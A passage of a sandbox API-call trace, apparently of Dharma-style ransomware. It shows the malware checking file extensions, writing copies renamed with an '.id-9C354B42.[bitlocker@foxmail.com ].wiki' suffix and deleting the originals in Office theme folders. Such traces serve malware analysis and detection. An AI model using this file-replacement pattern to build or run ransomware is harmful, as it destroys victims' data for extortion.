[0054.052] lstrlenW (lpString=".7z") returned 3 [0054.052] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0054.052] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0054.052] lstrlenW (lpString=".dbf") returned 4 [0054.052] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0054.052] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0054.052] lstrlenW (lpString=".1cd") returned 4 [0054.052] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0054.052] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0054.052] lstrlenW (lpString=".jpg") returned 4 [0054.052] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0054.052] lstrcmpiW (lpString1=".PNG", lpString2=".wiki") returned -1 [0054.052] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0054.052] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0054.052] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=15737) returned 1 [0054.053] CloseHandle (hObject=0x1f4) returned 1 [0054.053] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png")) returned 0x20 [0054.053] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0054.053] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0054.053] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.053] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.053] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0054.053] GetLastError () returned 0x0 [0054.053] ReadFile (in: hFile=0x1f4, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x3d79, lpOverlapped=0x0) returned 1 [0054.055] WriteFile (in: hFile=0x218, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x3d80, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0x3d80, lpOverlapped=0x0) returned 1 [0054.056] ReadFile (in: hFile=0x1f4, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0054.056] WriteFile (in: hFile=0x218, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0054.056] SetEndOfFile (hFile=0x218) returned 1 [0054.057] CloseHandle (hObject=0x218) returned 1 [0054.057] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.057] SetEndOfFile (hFile=0x1f4) returned 1 [0054.057] CloseHandle (hObject=0x1f4) returned 1 [0054.058] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0054.058] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png")) returned 1 [0054.058] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0054.058] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0054.058] lstrlenW (lpString=".doc") returned 4 [0054.058] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0054.058] lstrlenW (lpString=".docx") returned 5 [0054.058] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0054.058] lstrlenW (lpString=".pdf") returned 4 [0054.058] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0054.058] lstrlenW (lpString=".xls") returned 4 [0054.058] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0054.058] lstrlenW (lpString=".xlsx") returned 5 [0054.058] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0054.058] lstrlenW (lpString=".ppt") returned 4 [0054.058] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0054.058] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0054.058] lstrlenW (lpString=".zip") returned 4 [0054.058] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0054.058] lstrlenW (lpString=".rar") returned 4 [0054.058] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0054.058] lstrlenW (lpString=".bz2") returned 4 [0054.058] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0054.058] lstrlenW (lpString=".7z") returned 3 [0054.058] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0054.059] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0054.059] lstrlenW (lpString=".dbf") returned 4 [0054.059] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0054.059] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0054.059] lstrlenW (lpString=".1cd") returned 4 [0054.059] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0054.059] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0054.059] lstrlenW (lpString=".jpg") returned 4 [0054.059] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0054.059] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0054.059] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0054.059] lstrlenW (lpString=".doc") returned 4 [0054.059] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0054.059] lstrlenW (lpString=".docx") returned 5 [0054.059] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0054.059] lstrlenW (lpString=".pdf") returned 4 [0054.059] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0054.059] lstrlenW (lpString=".xls") returned 4 [0054.059] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0054.059] lstrlenW (lpString=".xlsx") returned 5 [0054.059] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0054.059] lstrlenW (lpString=".ppt") returned 4 [0054.059] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0054.059] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0054.059] lstrlenW (lpString=".zip") returned 4 [0054.059] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0054.059] lstrlenW (lpString=".rar") returned 4 [0054.059] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0054.059] lstrlenW (lpString=".bz2") returned 4 [0054.059] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0054.059] lstrlenW (lpString=".7z") returned 3 [0054.059] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0054.059] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0054.059] lstrlenW (lpString=".dbf") returned 4 [0054.059] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0054.060] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0054.060] lstrlenW (lpString=".1cd") returned 4 [0054.060] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0054.060] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0054.060] lstrlenW (lpString=".jpg") returned 4 [0054.060] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0054.060] lstrcmpiW (lpString1=".GIF", lpString2=".wiki") returned -1 [0054.060] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0054.060] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0054.060] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=3970) returned 1 [0054.060] CloseHandle (hObject=0x1f4) returned 1 [0054.060] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif")) returned 0x20 [0054.060] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0054.061] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0054.061] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.061] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.061] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0054.062] GetLastError () returned 0x0 [0054.062] ReadFile (in: hFile=0x1f4, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0xf82, lpOverlapped=0x0) returned 1 [0054.064] WriteFile (in: hFile=0x218, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xf90, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0xf90, lpOverlapped=0x0) returned 1 [0054.065] ReadFile (in: hFile=0x1f4, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0054.065] WriteFile (in: hFile=0x218, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0xea, lpOverlapped=0x0) returned 1 [0054.065] SetEndOfFile (hFile=0x218) returned 1 [0054.065] CloseHandle (hObject=0x218) returned 1 [0054.065] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.065] SetEndOfFile (hFile=0x1f4) returned 1 [0054.066] CloseHandle (hObject=0x1f4) returned 1 [0054.066] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0054.066] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif")) returned 1 [0054.066] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0054.066] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0054.066] lstrlenW (lpString=".doc") returned 4 [0054.066] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0054.066] lstrlenW (lpString=".docx") returned 5 [0054.066] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0054.066] lstrlenW (lpString=".pdf") returned 4 [0054.066] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0054.066] lstrlenW (lpString=".xls") returned 4 [0054.067] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0054.067] lstrlenW (lpString=".xlsx") returned 5 [0054.067] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0054.067] lstrlenW (lpString=".ppt") returned 4 [0054.067] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0054.067] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0054.067] lstrlenW (lpString=".zip") returned 4 [0054.067] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0054.067] lstrlenW (lpString=".rar") returned 4 [0054.067] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0054.067] lstrlenW (lpString=".bz2") returned 4 [0054.067] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0054.067] lstrlenW (lpString=".7z") returned 3 [0054.067] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0054.067] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0054.067] lstrlenW (lpString=".dbf") returned 4 [0054.067] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0054.067] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0054.067] lstrlenW (lpString=".1cd") returned 4 [0054.067] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0054.067] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0054.067] lstrlenW (lpString=".jpg") returned 4 [0054.067] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0054.067] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0054.067] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0054.067] lstrlenW (lpString=".doc") returned 4 [0054.067] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0054.067] lstrlenW (lpString=".docx") returned 5 [0054.067] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0054.067] lstrlenW (lpString=".pdf") returned 4 [0054.067] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0054.067] lstrlenW (lpString=".xls") returned 4 [0054.067] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0054.067] lstrlenW (lpString=".xlsx") returned 5 [0054.068] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0054.068] lstrlenW (lpString=".ppt") returned 4 [0054.068] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0054.068] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0054.068] lstrlenW (lpString=".zip") returned 4 [0054.068] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0054.068] lstrlenW (lpString=".rar") returned 4 [0054.068] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0054.068] lstrlenW (lpString=".bz2") returned 4 [0054.068] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0054.068] lstrlenW (lpString=".7z") returned 3 [0054.068] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0054.068] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0054.068] lstrlenW (lpString=".dbf") returned 4 [0054.068] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0054.068] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0054.068] lstrlenW (lpString=".1cd") returned 4 [0054.068] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0054.068] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0054.068] lstrlenW (lpString=".jpg") returned 4 [0054.068] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0054.068] lstrcmpiW (lpString1=".PNG", lpString2=".wiki") returned -1 [0054.068] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0054.068] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0054.069] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=53115) returned 1 [0054.069] CloseHandle (hObject=0x1f4) returned 1 [0054.069] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png")) returned 0x20 [0054.069] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0054.069] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0054.069] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.069] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.069] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0054.069] GetLastError () returned 0x0 [0054.069] ReadFile (in: hFile=0x1f4, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0xcf7b, lpOverlapped=0x0) returned 1 [0054.072] WriteFile (in: hFile=0x218, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xcf80, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0xcf80, lpOverlapped=0x0) returned 1 [0054.073] ReadFile (in: hFile=0x1f4, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0054.073] WriteFile (in: hFile=0x218, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0054.073] SetEndOfFile (hFile=0x218) returned 1 [0054.074] CloseHandle (hObject=0x218) returned 1 [0054.074] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.074] SetEndOfFile (hFile=0x1f4) returned 1 [0054.075] CloseHandle (hObject=0x1f4) returned 1 [0054.075] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0054.075] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png")) returned 1 [0054.075] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0054.075] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0054.075] lstrlenW (lpString=".doc") returned 4 [0054.075] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0054.075] lstrlenW (lpString=".docx") returned 5 [0054.075] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0054.075] lstrlenW (lpString=".pdf") returned 4 [0054.075] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0054.075] lstrlenW (lpString=".xls") returned 4 [0054.075] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0054.075] lstrlenW (lpString=".xlsx") returned 5 [0054.075] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0054.075] lstrlenW (lpString=".ppt") returned 4 [0054.075] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0054.075] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0054.076] lstrlenW (lpString=".zip") returned 4 [0054.076] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0054.076] lstrlenW (lpString=".rar") returned 4 [0054.076] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0054.076] lstrlenW (lpString=".bz2") returned 4 [0054.076] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0054.076] lstrlenW (lpString=".7z") returned 3 [0054.076] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0054.076] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0054.076] lstrlenW (lpString=".dbf") returned 4 [0054.076] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0054.076] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0054.076] lstrlenW (lpString=".1cd") returned 4 [0054.076] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0054.076] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0054.076] lstrlenW (lpString=".jpg") returned 4 [0054.076] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0054.076] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0054.076] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0054.076] lstrlenW (lpString=".doc") returned 4 [0054.076] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0054.076] lstrlenW (lpString=".docx") returned 5 [0054.076] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0054.076] lstrlenW (lpString=".pdf") returned 4 [0054.076] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0054.076] lstrlenW (lpString=".xls") returned 4 [0054.076] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0054.076] lstrlenW (lpString=".xlsx") returned 5 [0054.076] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0054.076] lstrlenW (lpString=".ppt") returned 4 [0054.076] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0054.076] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0054.076] lstrlenW (lpString=".zip") returned 4 [0054.076] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0054.076] 